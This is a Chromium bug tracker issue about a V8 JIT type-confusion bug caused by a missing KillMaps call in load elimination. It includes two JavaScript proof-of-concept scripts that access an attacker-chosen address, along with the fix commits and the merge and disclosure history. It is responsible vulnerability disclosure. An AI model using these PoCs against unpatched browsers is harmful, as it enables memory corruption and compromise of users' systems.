New issue
Advanced search Search tips

Issue 799263 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Jan 2018
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: V8: JIT: A bug in LoadElimination::ReduceTransitionElementsKind

Project Member Reported by lokihardt@google.com, Jan 4 2018

Issue description

I think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b

Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
...
     if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
       object_maps.remove(source_map, zone());
       object_maps.insert(target_map, zone());
-      AliasStateInfo alias_info(state, object, source_map);
-      state = state->KillMaps(alias_info, zone());
-      state = state->AddMaps(object, object_maps, zone());
+      state = state->SetMaps(object, object_maps, zone());
     }
...
}

I think the "state->KillMaps(alias_info, zone());" was accidentally removed. This lack may lead CheckMap instructions to be removed incorrectly.

A PoC demonstrating type confusion:
function opt(a, b) {
    b[0] = 0;

    a.length;

    // TransitionElementsKind
    for (let i = 0; i < 1; i++)
        a[0] = 0;

    // CheckMap removed, type confusion
    b[0] = 9.431092e-317;  // 0x1234567
}

let arr1 = new Array(1);
arr1[0] = 'a';
opt(arr1, [0]);

let arr2 = [0.1];
opt(arr2, arr2);

%OptimizeFunctionOnNextCall(opt);

opt(arr2, arr2);
arr2[0].x  // access 0x1234566

Without natives syntax:
function opt(a, b) {
    b[0] = 0;

    a.length;

    // TransitionElementsKind
    for (let i = 0; i < 1; i++)
        a[0] = 0;

    b[0] = 9.431092e-317;  // 0x1234567

    // Force optimization
    for (let i = 0; i < 10000000; i++) {

    }
}

let arr1 = new Array(1);
arr1[0] = 'a';
opt(arr1, [0]);

let arr2 = [0.1];
opt(arr2, arr2);

opt(arr2, arr2);
arr2[0].x  // access 0x1234566


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 
Components: Blink>JavaScript>Compiler
Cc: bmeu...@chromium.org
Labels: OS-Linux OS-Mac
Owner: jarin@chromium.org
Status: Assigned (was: Unconfirmed)
Thanks for the report. Verified that the PoC still reproduces on ToT. Also your suggested fix seems to address the problem, but I'll leave it to jarin@ to take a look.

Comment 3 by jarin@chromium.org, Jan 5 2018

Status: Started (was: Assigned)
Great catch, thanks for the bug report and the fix!
Project Member

Comment 4 by bugdroid1@chromium.org, Jan 5 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/6b30393536c44943076739e2eaf00f0a34c2d2c9

commit 6b30393536c44943076739e2eaf00f0a34c2d2c9
Author: Jaroslav Sevcik <jarin@chromium.org>
Date: Fri Jan 05 10:53:41 2018

[turbofan] Kill transition-kind source map in load elimination.

Bug:  chromium:799263 
Change-Id: I656d6b621234f2f0a7f379866a114b8cb66eca25
Reviewed-on: https://chromium-review.googlesource.com/852072
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Jaroslav Sevcik <jarin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#50379}
[modify] https://crrev.com/6b30393536c44943076739e2eaf00f0a34c2d2c9/src/compiler/load-elimination.cc
[add] https://crrev.com/6b30393536c44943076739e2eaf00f0a34c2d2c9/test/mjsunit/compiler/regress-799263.js

Comment 5 by jarin@chromium.org, Jan 5 2018

Labels: Merge-Request-64
Status: Fixed (was: Started)
Project Member

Comment 6 by sheriffbot@chromium.org, Jan 5 2018

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member

Comment 7 by sheriffbot@chromium.org, Jan 6 2018

Labels: -Merge-Request-64 Hotlist-Merge-Review Merge-Review-64
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: hablich@chromium.org
hablich for V8 review
Cc: awhalley@chromium.org
abdulsyed@ - good for 64
Labels: -Merge-Review-64 Merge-Approved-64
Approved for M64. Branch:3282
Project Member

Comment 12 by bugdroid1@chromium.org, Jan 15 2018

Labels: merge-merged-6.4
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/eebeacc62b97ef02e8ee82827085c4fbbf15cdb8

commit eebeacc62b97ef02e8ee82827085c4fbbf15cdb8
Author: Jaroslav Sevcik <jarin@chromium.org>
Date: Mon Jan 15 06:53:45 2018

Merged: [turbofan] Kill transition-kind source map in load elimination.

Revision: 6b30393536c44943076739e2eaf00f0a34c2d2c9

BUG= chromium:799263 
LOG=N
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
R=bmeurer@chromium.org

Change-Id: Id5e723bb80404da9f214b80f8dbedce8eeda51e5
Reviewed-on: https://chromium-review.googlesource.com/866494
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/branch-heads/6.4@{#51}
Cr-Branched-From: 0407506af3d9d7e2718be1d8759296165b218fcf-refs/heads/6.4.388@{#1}
Cr-Branched-From: a5fc4e085ee543cb608eb11034bc8f147ba388e1-refs/heads/master@{#49724}
[modify] https://crrev.com/eebeacc62b97ef02e8ee82827085c4fbbf15cdb8/src/compiler/load-elimination.cc
[add] https://crrev.com/eebeacc62b97ef02e8ee82827085c4fbbf15cdb8/test/mjsunit/compiler/regress-799263.js

Labels: -Merge-Approved-64
Project Member

Comment 14 by sheriffbot@chromium.org, Apr 13

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment